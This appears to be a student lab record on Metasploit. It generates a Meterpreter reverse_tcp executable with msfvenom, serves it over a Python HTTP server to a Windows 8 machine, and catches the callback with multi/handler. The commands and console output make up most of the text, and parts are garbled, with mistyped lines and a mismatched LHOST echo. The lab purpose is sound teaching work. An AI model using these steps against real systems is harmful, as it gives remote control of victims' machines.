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METASPLOIT

Aim:

To set up Metasploit framework and exploit reverse_tcp in Windows 8 machine remotely.

Algorithm:

- 1. Generate payload to be inserted into the remote machine
- 2. Set the LHOST and it's port number
- 3. Open msfconsole.
- 4. Use exploit/multi/handler
- 5. Establish reverse_tcp with the remote windows 8 machine.
- 6. Run SimpleHTTPServer with port number 8000.
- 7. Open the web browser in Windows 8 machine and type http://172.16.8.155:8000 8. In KaliLinux, type sysinfo to get the information about Windows 8 machine
- 9. Create a new directory using mkdir command.
- 10.Delete the created directory.

Output: root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.8.155 LPORT=443 -f exe > /root/hi.exe

- [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
- [-] No arch selected, selecting arch: x86 from the payload

No encoder or badchars specified, outputting raw payload

Payload size: 341 bytes

Final size of exe file: 73802 bytes root@kali:~#

msfconsole

- [-] ***Rting the Metasploit Framework console...\
- [-] * WARNING: No database support: could not connect to server: Connection refused Is the server running on host "localhost" (::1) and accepting

TCP/IP connections on port 5432?

could not connect to server: Connection refused

Is the server running on host "localhost" (127.0.0.1) and accepting

TCP/IP connections on port 5432?

[-] ***

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=[ metasploit v5.0.41-dev ]
+ -- --=[ 1914 exploits - 1074 auxiliary - 330 post ]
+ -- --=[ 556 payloads - 45 encoders - 10 nops ]
+ -- --=[ 4 evasion ]
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msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse tcp
payload => windows/meterpreter/reverse tcp msf5 exploit(multi/handler)
> show options
Module options (exploit/multi/handler):
 Name Current Setting Required Description
Payload options (windows/meterpreter/reverse tcp):
 Name
          Current Setting Required Description
 EXITFUNC process yes
                                  Exit technique (Accepted: ", seh, thread, process, none)
 LHOST
                            The listen address (an interface may be specified)
                     yes
LPORT 4444
                             The listen port
                  yes
Exploit target:
 Id Name
 0 Wildcard Target
msf5 exploit(multi/handler) > set LHOST 172.16.8.155 LHOST
=> 172.16.8.156
msf5 exploit(multi/handler) > set LPORT 443 LPORT
=>443
msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 172.16.8.155:443
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Result: Thus, the setup of Metasploit framework and exploit reverse_tcp in Windows 8 machine remotely has been executed successfully.

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